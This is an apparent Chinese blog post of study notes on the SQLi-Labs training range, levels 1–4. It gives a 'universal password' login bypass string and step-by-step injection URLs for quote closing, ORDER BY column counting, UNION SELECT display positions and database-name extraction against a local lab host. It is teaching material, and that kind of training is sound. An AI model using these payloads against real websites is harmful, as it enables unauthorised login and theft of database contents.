SQL-lab 1-4关
SQL注入原理
语言分类
1.解释型语言
2.编译型语言
解释型语言,若程序与用户进行交互时。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。
万能密码(绕过用户名和密码)
用户名:admin'or1=1-- (单行注释后必须有空格)
密码:随意就可以
cms逻辑:index.php首页展示内容,具有文章列表(l链接具有文章id ),articles.php文章详细页,URL中article.php?id=文章id读取文章id
sql注入验证:
1.单引号‘
2.and1=1
3.and1=2
如果页面中Mysql报错,证明该页面存在SQL注入漏洞
靶场地址 http://192.168.100.128/sql-lab/
第一关靶场
Less-1
http://192.168.100.128/sql-lab/Less-1/
判断是否被当做代码执行 http://192.168.100.128/sql-lab/Less-1/?id=1%20and%201=2 (and1=1)
尝试一下闭合
http://192.168.100.128/sql-lab/Less-1/?id=1%20%27and%201=1%20--%20q 没问题
http://192.168.100.128/sql-lab/Less-1/?id=1%20%27and%201=2%20--%20q 有问题 页面异常 说明之间存在SQL注入
接下来找当前的字段数
http://192.168.100.128/sql-lab/Less-1/?id=1%20%27order%20by%201%20--%20q order by 1正常
Order by 1 2 3均正常
http://192.168.100.128/sql-lab/Less-1/?id=1%20%27order%20by%204%20--%20q order by 4 异常
说明存在三个字段
接下来判断显错位,使用联合查询
http://192.168.100.128/sql-lab/Less-1/?id=1%20%27union%20select%201,2,3%20--%20q 依然没有问题 是因为查询结果显示在了前面,所以没有显示联合查询的结果
现在将前面的id更换为100,100处没有前面的结果,所以将显示联合查询的结果
http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,22,33%20--%20q 这样显示22和33,22和33是(显错位)的意思
http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,database(),33%20--%20q
显示 Security(当前数据库的库名)用database()来获取库名
来自 <http://192.168.100.128/sql-lab/Less-1/?id=100%20%27union%20select%2011,database(),33%20--%20q>
table_name查询表名
建议用 一个一个查,尽量不用 group_concat 函数 因为显示位数不够可能导致无法显示完整
第三关靶场
http://192.168.100.128/sql-lab/Less-3/?id=1%27)%20and%201=2%20--%20q
实战中多尝试闭合 ‘) “)1=1 1=2 组合尝试
其他操作大致相同
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】